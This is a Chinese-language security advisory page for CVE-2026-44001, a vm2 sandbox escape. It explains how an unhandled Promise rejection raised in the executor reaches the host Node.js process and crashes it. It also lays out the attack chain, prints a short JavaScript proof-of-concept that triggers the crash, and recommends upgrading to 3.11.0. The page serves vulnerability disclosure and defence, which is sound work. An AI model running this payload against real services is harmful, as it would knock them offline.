IPBUF安全漏洞报告
English
CVE-2026-44001 CVSS 8.6 高危

CVE-2026-44001 vm2沙箱逃逸导致主机进程崩溃

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44001
漏洞类型
沙箱逃逸
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

沙箱逃逸拒绝服务vm2Node.jsCVE-2026-44001

漏洞概述

vm2是Node.js的一个开源沙箱环境。在3.11.0版本之前,vm2 v3.10.5存在一个沙箱逃逸漏洞。该漏洞允许任何沙箱内的代码通过构造一个Promise并触发未处理的拒绝,导致异常传播到宿主Node.js进程,进而造成崩溃。此前针对CVE-2026-22709的修复仅覆盖了.then()和.catch()回调,未解决执行器到unhandledRejection的路径问题。该漏洞在3.11.0版本中已修复。

技术细节

该漏洞的核心原因在于vm2对Promise异步机制的处理不完善。攻击者可以在沙箱代码中利用Promise构造函数的执行器直接抛出异常或调用reject()。由于vm2之前的补丁仅对.then()和.catch()方法的回调函数进行了沙箱隔离处理,忽略了Promise构造函数内部的执行器路径,导致未处理的Promise rejection事件能够绕过沙箱边界。当这个未处理的拒绝事件传播到宿主Node.js的事件循环时,会触发宿主的unhandledRejection事件,若未被正确捕获,将导致宿主进程崩溃,实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别目标应用使用了存在漏洞的vm2版本(小于3.11.0)。
STEP 2
投递
攻击者向沙箱环境提交特制的恶意JavaScript代码。
STEP 3
利用
恶意代码在沙箱内执行,通过Promise构造函数的执行器触发未处理的拒绝。
STEP 4
逃逸与影响
未处理的拒绝事件逃逸出沙箱,导致宿主Node.js进程崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const {VM} = require('vm2'); // Initialize the vm2 sandbox const vm = new VM(); console.log('Testing CVE-2026-44001 in vm2 v3.10.5...'); // Malicious code exploiting the Promise executor path const untrustedCode = ` new Promise((resolve, reject) => { // Triggering an unhandled rejection here escapes the sandbox reject('CVE-2026-44001 PoC'); }); `; try { vm.run(untrustedCode); } catch (e) { // This catch block inside the sandbox might not catch the rejection console.log('Caught inside sandbox: ' + e); } // In vulnerable versions (< 3.11.0), the process will crash // here due to the unhandled rejection propagating to the host.

影响范围

vm2 < 3.11.0

防御指南

临时缓解措施
建议立即将vm2库升级至安全版本3.11.0。若暂时无法升级,应严格限制并监控传入沙箱的代码内容,避免执行未经验证的第三方代码,但这无法从根本上消除漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表